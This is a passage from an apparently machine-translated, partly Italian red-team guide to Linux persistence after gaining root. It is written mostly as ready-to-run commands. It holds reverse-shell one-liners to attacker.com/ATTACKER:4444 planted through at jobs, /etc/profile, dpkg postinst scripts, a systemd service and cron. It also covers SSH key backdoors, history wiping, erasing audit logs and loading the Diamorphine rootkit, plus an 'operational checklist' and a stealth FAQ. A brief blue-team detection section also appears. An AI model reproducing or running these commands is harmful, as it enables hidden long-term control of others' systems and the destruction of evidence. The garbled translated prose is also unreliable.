echo "/usr/local/bin/.beacon start" | at now + 1 hour
# Schedula un job per domani alle 03:00 (quando nessuno controlla)
echo "bash -i >& /dev/tcp/attacker.com/4444 0>&1" | at 03:00 tomorrow
# Opzionale: Schedula ogni giorno (richiede loop o multipli at jobs)
# (Nota: at da solo non fa ricorrenza, ma l'attacker può schedulare 365 job, uno per ogni giorno)
echo "/usr/local/bin/.beacon start" | at 03:00 next Monday
echo "/usr/local/bin/.beacon start" | at 03:00 next Tuesday
# ... etcStrategic Timing:
22:30/03:00: Non-working hours, less likelihood that someone controlstomorrowAttacker knows that today he will not have time to monitor, tomorrow the job will be run secretly
Block 11.4: At + /etc/profile.d Combo – PANIX Tradecraft #
PANIX (Elastic research 2024) uses a combo:
# Fase 1: Inietta backdoor in /etc/profile
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> /etc/profile
# Fase 2: Schedula un job per "forzare" il login di un admin
echo "su --login root" | at 10:30 tomorrow
# Cosa succede:
# - Alle 10:30 domani, atd esegue "su --login root"
# - Questo triggera una login shell per root
# - /etc/profile viene sourced (come parte del login sequence)
# - Il backdoor in /etc/profile viene eseguito come root
# - Attacker ha root shellBrilliance: Combines two vectors:
/etc/profile.dinjection (the backdoor)atjob (the trigger)
If an admin discovers the backdoor in /etc/profile.d and removes it, the at job remains and can be triggered again. Redundancy.
Block 11.5: Persistence Through Reboot #
The jobs at survive reboots because they are saved to disk in /var/spool/at/. When the system reboots:
- Kernel starts up
atddaemon starts (as a standard service)atdread all files in/var/spool/at/- For each job whose time has passed,
atdhe does it - They continue as normal
Implication: If you have scheduled a job for “tomorrow at 3:00” and the system crashes before that time, the job will still run after the reboot (if the reboot occurs after 3:00).
Block 11.6: Persistence Limitations #
- Time-limited: A job
atIt's a one-time thing. Once it's executed, it's done. It doesn't run anymore. If the attacker needs continuous persistence, they have to schedule multiple jobs (e.g., one for each day), which is tedious. - Requires active atd: If the admin disables the service
atd(systemctl disable atd; systemctl stop atd), at jobs are not executed. Cron remains a better fallback. - logs:
atleaves traces in/var/log/crono/var/log/auth.log(depends on configuration). An admin checking these logs may see “atd: did job 123”.
12. Package Manager Backdoors – Exploit During Update #
Block 12.0: How Postinstall Scripts Work – The Mechanism #
When you install a package with apt-get install sudo o yum install sudo, the package manager:
- Download the package (file
.debo.rpm) - Extracts binary and configuration files
- Runs a post-installation script (
postinst,post-install) which does final setup (creates users, sets permissions, etc.) - Mark the package as installed
These post-installation scripts are stored inside the package and are run as root (for setup that requires privileges).
Where package metadata is stored:
- Debian/Ubuntu:
/var/lib/dpkg/info/contains directories for each installed package- Example:
/var/lib/dpkg/info/sudo.postinstThis is the sudo post-installation script.
- Example:
- Red Hat/CentOS:
/var/lib/rpm/save RPM info (less directly readable)
Block 12.1: How an Attacker Exploits This #
If you compromise your system and know that a package's postinst script will be executed again (during an update), you can modify the postinst script to add backdoors.
Scenario:
- Attacker compromises the system (root access)
- Attacker edit
/var/lib/dpkg/info/sudo.postinstand adds a malicious command - The (unaware) admin does
apt-get update; apt-get upgrade sudo(to patch vulnerabilities) - During the upgrade, package manager runs the postinst script (your modified one)
- Your backdoor command runs as root
- Attacker remains persistence
Block 12.2: Operational Setup #
As an attacker:
# Modifica il postinst script di sudo
cat >> /var/lib/dpkg/info/sudo.postinst << 'EOF'
# Aggiungi il backdoor alla fine (dopo gli altri comandi di setup)
bash -i >& /dev/tcp/attacker.com/4444 0>&1 &
EOF
# Oppure modifica uno più piccolo che viene raramente updatato
cat >> /var/lib/dpkg/info/curl.postinst << 'EOF'
/usr/local/bin/.beacon start &
EOF
# Su Red Hat, è più complicato (RPM scripts sono embedded), ma è possibile
# Se il sistema ha `/etc/rpm/macros.d/`, puoi aggiungere macro custom che girano al installPersistence Timing:
- Every time that package is updated (
apt-get upgrade sudo), the postinst is executed again - If the package is never updated, the backdoor is not triggered (it is not “true” persistence)
- Attacker depends on the admin doing system updates (which happens regularly)
Block 12.3: Why It's Rare and Difficult #
- Maintenance: The attacker must keep track of which
postinstscripts has changed. If the admin notices the modified file, they can remove the backdoor. - Not reliable: The package is not guaranteed to be updated. If it is never updated, the backdoor will not be triggered.
- Detectable: If an admin performs an integrity check on files in
/var/lib/dpkg/info/, can find that thepostinstit has been modified.
To restore the original package file:
apt-get install --reinstall -y sudo
Questo è altamente avanzato ma possible.
### Blue Team Detection
```bash
# Monitora systemd services nuovi
auditctl -w /etc/systemd/system -p wa -k systemd-changes
# Monitora cron
auditctl -w /etc/cron.d -p wa -k cron-changes
auditctl -w /var/spool/cron -p wa -k crontab-changes
# Monitora SSH authorized_keys
auditctl -w /home -p wa -k ssh-keys
auditctl -w /root/.ssh -p wa -k root-ssh
# Monitora kernel modules
auditctl -a always,exit -F arch=b64 -S init_module -S delete_module -k kernel-modulesRed Team Evasion #
# Usa nomi innocui
# /usr/local/bin/.netmon → sembra sistema
# /opt/.check-beacon → sembra app legittima
# Rimuovi history dopo aver installato persistence
unset HISTFILE
history -c -w
# Cancella audit logs
cat /dev/null > /var/log/audit/audit.log 2>/dev/null
# Nascondi processi nel kernel (se LKM installed)
insmod diamorphine.ko
# Dopo, echo PID > /proc/diamorphine per nascondere14. Operational Checklist #
Root access achieved. Persistence NOW:
# 1. Systemd service (5 sec, massimo stealth)
cat > /etc/systemd/system/monitor.service << 'EOF'
[Unit]
Description=Monitor
[Service]
Type=simple
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload && systemctl enable monitor && systemctl start monitor
# 2. Cron backup
echo "*/5 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1" | crontab -
# 3. SSH backdoor
mkdir -p /root/.ssh
echo "ssh-rsa AAAA...KEY attacker@persist" >> /root/.ssh/authorized_keys
# 4. Cleanup
unset HISTFILE && history -c -w15. FAQ #
Q: Which is the most stable method? A: Systemd service. It always survives reboots, it's integrated, it's LOTL. If the system uses systemd (99% of modern cases), it works.
Q: What if I don't have root access? A: User-level cron, SSH authorized_keys, git hooks. Less powerful, but they work. If you're a regular user, cron is your friend.
Q: Isn't SSH risky? The admin might be able to see the authorized_keys. A: Yes, but they probably don't look. If you want stealth, also install a systemd backdoor. Dual persistence.
Q: LKM vs eBPF — which one should I choose?
A: eBPF if kernel 5.1+. It's more modern, leaves no traces of .ko file, more difficult to detect. LKM is more compatible with older kernels.
Q: How do I know if my persistence is still active?
A: If the system reboots and you get a reverse shell, it's working. Otherwise, check: systemctl status monitor, crontab -l, ls -la /root/.ssh/authorized_keys.
Q: What happens if the admin installs an AV/EDR? A: Systemd service could be killed, cron could be monitored, and SSH backdoors could be detected. Multiple persistence: if one fails, the others work. More layers = harder to take you down.
16. Call-To-Action #
For Red Teamers:
- Multiple persistence always: systemd + SSH + cron
- Innocuous names: it looks like a system, not a backdoor
- Clear history immediately after
For blue team:
- Monitor
/etc/systemd/system/for new services - Monitor SSH authorized_keys for unauthorized keys
- Check unusual cron jobs with
systemctl list-timers - Enable auditd for all system-level changes
Studio:
- linux-security-evasion: How to cover your tracks AFTER establishing persistence
- linux-enumeration: How to find persistences that others have installed
- MITRE ATT&CK T1547 (Boot or Logon Autostart Execution): Formalization of Techniques
External Resources #
- Elastic Security Labs – Hooked on Linux (https://www.elastic.co/security-labs/linux-rootkits-1-hooked-on-linux): Details on rootkits, systemd persistence, RingReaper io_uring 2025
- PANIX Persistence Tool (https://github.com/Aegrah/PANIX): Implementation of 20+ persistence techniques (systemd, LKM, initramfs, git hooks, udev)
- Diamorphine LKM (https://github.com/m0nad/Diamorphine): Open-source rootkit for process/file/network hiding
- HADESS – Art of Linux Persistence (https://hadess.io/the-art-of-linux-persistence/): Guides on cron, systemd timer, sudoers, logrotate abuse
- Elastic – Detection Engineering on Persistence (https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms): Blue team detection by udev rules, systemd generators, at jobs
- SANS 2025 – Breaking Time Timestomping (https://www.sans.org/white-papers): Analysis of timestamp manipulation on ext4 to hide persistence
- Palo Alto Unit 42 – Linux Threats 2025 (https://unit42.paloaltonetworks.com): Real-world persistence tactics observed in ransomware, APT campaigns
Conclusions #
Linux persistence is simple if you use the right tools:
- Systemd service = maximum reliability, LOTL, does not require user interaction
- Cron = backup, fallback, universal
- SSH backdoor = direct access, survives password resets
- LKM/eBPF = maximum stealth, invisible to tools userspace
- Multipla = if one fails, the others work
The key: innocuous names, multiple layers, and immediate cleanup . A compromised system without persistence is a temporarily compromised system. A system with persistence is a long-term base of operations.








